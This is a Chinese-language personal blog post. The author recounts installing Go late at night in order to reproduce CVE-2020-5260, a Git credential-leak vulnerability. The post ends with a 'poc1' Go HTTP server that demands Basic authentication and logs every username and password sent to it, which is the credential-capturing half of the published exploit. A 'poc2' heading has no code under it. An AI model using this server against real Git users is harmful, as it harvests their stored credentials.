[編程篇]我爲何會在凌晨三點起牀安裝Go語言環境?

前言

現在是凌晨三點了,我習慣性的打開QQ去看羣裏大佬門們的聊天記錄,之後的一條來自GitHub監控機器人的一條推送讓我選擇了起牀!
先給大家來介紹點背景知識,昨天的綠盟科技安全情報推了一條關於Git的憑證泄露漏洞的通告.

緣由

在這裏插入圖片描述詳細信息請看Git的憑證泄露漏洞

一般這種情況都是坐等大佬放poc,我在今天凌晨三點終於等到了大佬復現成功的消息,請看動圖:
圖片來自GitHub
詳情請移步
到了這裏我一直都還挺激動的.終於可以復現1day了,可是卻發現,這poc是用go語言寫的,於是就有了這篇博客,讓我把go納入我編程技能樹,poc代碼見文末.

HelloWorld.go

以下是毫無技術可言的安裝過程和環境測試:
在這裏插入圖片描述在這裏插入圖片描述

在這裏插入圖片描述

CVE-2020-5260

附上CVE-2020-5260的POC
poc1:

package main

import (
        "log"
        "net/http"
)

func h(w http.ResponseWriter, r *http.Request) {
        username, password, ok := r.BasicAuth()
        if ok {
                log.Printf("user: %v password: %v\n", username, password)
                w.WriteHeader(200)
                return
        }
        w.Header().Set("WWW-Authenticate", `Basic realm="foo"`)
        http.Error(w, "Not authorized", 401)
        return
}

func main() {
        http.HandleFunc("/", h)
        err := http.ListenAndServe(":8088", nil)
        if err != nil {
                log.Fatal("ListenAndServe: ", err)
        }
}

poc2

結語

通過這件事兒,讓我想起了高中母校的校訓:任重道遠,同時也讓我覺得做技術,就得要隨時做好接收一門新技術的準備,爲自己的技能樹添枝加葉,日後方能枝繁葉茂,予人蔭涼!

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章